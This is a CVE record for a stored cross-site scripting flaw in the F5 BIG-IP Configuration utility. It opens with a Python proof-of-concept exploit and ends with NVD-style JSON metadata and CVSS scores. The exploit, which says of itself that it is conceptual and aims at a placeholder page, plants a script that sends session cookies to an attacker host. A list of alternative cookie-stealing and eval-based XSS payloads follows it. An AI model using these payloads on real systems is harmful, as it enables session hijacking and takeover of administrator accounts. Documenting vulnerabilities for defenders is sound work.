CVE-2025-59269

# CVE-2025-59269 - F5 BIG-IP Configuration Utility Stored XSS PoC # Note: This is a conceptual PoC based on the vulnerability description. # The specific vulnerable page is undisclosed by F5. import requests TARGET_URL = "https://bigip-target.example.com" ADMIN_SESSION = {"session": "authenticated_admin_session_cookie"} # Malicious JavaScript payload to steal session cookies XSS_PAYLOAD = { "field_name": "<script>" "var img=new Image();" "img.src='https://attacker.example.com/steal?cookie='+document.cookie;" "</script>" } def exploit_stored_xss(): """ Step 1: Authenticate as privileged admin user Step 2: Inject malicious script into the vulnerable page Step 3: Wait for victim admin to view the page (payload executes automatically) """ # Step 1 & 2: Submit malicious payload to the vulnerable endpoint response = requests.post( f"{TARGET_URL}/tmui/undisclosed-vulnerable-page", cookies=ADMIN_SESSION, data=XSS_PAYLOAD, verify=False ) if response.status_code == 200: print("[+] XSS payload successfully stored on target server") print("[*] Waiting for victim to trigger the payload...") else: print(f"[-] Failed to store payload. Status: {response.status_code}") if __name__ == "__main__": exploit_stored_xss() # Alternative inline payload examples: # <script>fetch('https://attacker.com/'+document.cookie)</script> # <img src=x onerror="fetch('https://attacker.com/'+document.cookie)"> # <svg onload="eval(atob('base64_encoded_payload'))">

{"cve": {"id": "CVE-2025-59269", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:53.960", "lastModified": "2025-10-21T19:33:38.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in an undisclosed page of the BIG-IP Configuration utility that allows an attacker to run JavaScript in the context of the currently logged-in user.  \n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", 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